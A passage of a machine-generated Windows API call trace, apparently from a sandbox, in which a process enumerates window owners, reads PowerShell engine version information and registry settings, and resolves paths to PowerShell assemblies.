out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x554 [0061.092] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x528 [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x79c [0061.093] GetLastError () returned 0x0 [0061.093] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.093] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4e0 [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x44c [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x778 [0061.094] GetLastError () returned 0x0 [0061.094] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.094] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x40124, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xb34 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x401ca, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xb34 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x558 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x6011c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xb68 [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x301b4, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xadc [0061.095] GetLastError () returned 0x0 [0061.095] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x3c0 [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x301b6, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xab0 [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x178 [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x240 [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x62c [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x64 [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x11c [0061.096] GetLastError () returned 0x0 [0061.096] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7e0 [0061.096] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x590 [0061.097] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7a0 [0061.097] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x794 [0061.097] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7fc [0061.097] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x688 [0061.097] GetLastError () returned 0x0 [0061.097] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7b0 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x724 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x2ac [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x248 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x328 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x604 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x32c [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x660 [0061.098] GetLastError () returned 0x0 [0061.098] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x440 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x568 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x538 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x540 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x510 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x79c [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4e0 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.099] GetLastError () returned 0x0 [0061.099] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x778 [0061.099] GetLastError () returned 0x0 [0061.099] GetLastError () returned 0x0 [0061.121] WerSetFlags () returned 0x0 [0061.148] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0061.151] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x29eb7c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x29eb78 | out: pulNumLanguages=0x29eb7c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x29eb78) returned 1 [0061.151] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x29eb7c, pwszLanguagesBuffer=0x2a9cb3c, pcchLanguagesBuffer=0x29eb78 | out: pulNumLanguages=0x29eb7c, pwszLanguagesBuffer=0x2a9cb3c, pcchLanguagesBuffer=0x29eb78) returned 1 [0061.156] GetUserDefaultLocaleName (in: lpLocaleName=0x3566f8, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0061.178] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.178] GetLastError () returned 0xcb [0061.180] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.180] GetLastError () returned 0xcb [0061.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.182] GetLastError () returned 0xcb [0061.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.197] GetLastError () returned 0xcb [0061.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e608, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.197] GetLastError () returned 0xcb [0061.197] SetErrorMode (uMode=0x1) returned 0x1 [0061.197] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x29ea88 | out: lpFileInformation=0x29ea88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0061.197] GetLastError () returned 0xcb [0061.197] SetErrorMode (uMode=0x1) returned 0x1 [0061.197] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x29eb0c | out: lpdwHandle=0x29eb0c) returned 0x94c [0061.199] GetLastError () returned 0x0 [0061.199] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2a9f06c | out: lpData=0x2a9f06c) returned 1 [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29ead8, puLen=0x29ead4 | out: lplpBuffer=0x29ead8*=0x2a9f108, puLen=0x29ead4) returned 1 [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f1e4, puLen=0x29ea50) returned 1 [0061.200] lstrlenW (lpString="Microsoft Corporation") returned 21 [0061.200] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f238, puLen=0x29ea50) returned 1 [0061.200] lstrlenW (lpString="System.Management.Automation") returned 28 [0061.200] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f294, puLen=0x29ea50) returned 1 [0061.200] lstrlenW (lpString="6.1.7601.17514") returned 14 [0061.200] lstrcpyW (in: lpString1=0x3566f8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f2d4, puLen=0x29ea50) returned 1 [0061.200] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0061.200] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f33c, puLen=0x29ea50) returned 1 [0061.200] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0061.200] lstrcpyW (in: lpString1=0x3566f8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0061.200] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f3d8, puLen=0x29ea50) returned 1 [0061.201] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0061.201] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f43c, puLen=0x29ea50) returned 1 [0061.201] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0061.201] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f4b8, puLen=0x29ea50) returned 1 [0061.201] lstrlenW (lpString="6.1.7601.17514") returned 14 [0061.201] lstrcpyW (in: lpString1=0x3566f8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x2a9f160, puLen=0x29ea50) returned 1 [0061.201] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0061.201] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x0, puLen=0x29ea50) returned 0 [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x0, puLen=0x29ea50) returned 0 [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x29ea54, puLen=0x29ea50 | out: lplpBuffer=0x29ea54*=0x0, puLen=0x29ea50) returned 0 [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29ea48, puLen=0x29ea44 | out: lplpBuffer=0x29ea48*=0x2a9f108, puLen=0x29ea44) returned 1 [0061.201] VerLanguageNameW (in: wLang=0x0, szLang=0x3566f8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0061.201] VerQueryValueW (in: pBlock=0x2a9f06c, lpSubBlock="\\", lplpBuffer=0x29ea5c, puLen=0x29ea58 | out: lplpBuffer=0x29ea5c*=0x2a9f094, puLen=0x29ea58) returned 1 [0061.207] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.207] GetLastError () returned 0xcb [0061.215] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.215] GetLastError () returned 0xcb [0061.218] lstrlenW (lpString="䅁") returned 1 [0061.221] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29ea20 | out: phkResult=0x29ea20*=0x324) returned 0x0 [0061.223] RegOpenKeyExW (in: hKey=0x324, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x29ea24 | out: phkResult=0x29ea24*=0x328) returned 0x0 [0061.223] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29ea58 | out: phkResult=0x29ea58*=0x32c) returned 0x0 [0061.225] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29ea98, lpData=0x0, lpcbData=0x29ea94*=0x0 | out: lpType=0x29ea98*=0x1, lpData=0x0, lpcbData=0x29ea94*=0x56) returned 0x0 [0061.226] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29ea98, lpData=0x3566f8, lpcbData=0x29ea94*=0x56 | out: lpType=0x29ea98*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29ea94*=0x56) returned 0x0 [0061.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.229] GetLastError () returned 0x0 [0061.231] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.231] GetLastError () returned 0x0 [0061.241] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.241] GetLastError () returned 0x0 [0061.256] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.256] GetLastError () returned 0xcb [0061.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0061.643] GetLastError () returned 0x2 [0061.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0061.643] GetLastError () returned 0x2 [0061.769] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.769] GetLastError () returned 0xcb [0061.770] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.770] GetLastError () returned 0xcb [0061.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.797] GetLastError () returned 0xcb [0061.798] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.798] GetLastError () returned 0xcb [0061.798] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.798] GetLastError () returned 0xcb [0061.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0061.989] GetLastError () returned 0x0 [0061.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0061.989] GetLastError () returned 0x0 [0062.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.030] GetLastError () returned 0xcb [0062.036] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.036] GetLastError () returned 0xcb [0062.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.107] GetLastError () returned 0x7e [0062.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.107] GetLastError () returned 0x7e [0064.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0064.620] GetLastError () returned 0x2 [0064.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0064.620] GetLastError () returned 0x2 [0064.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: 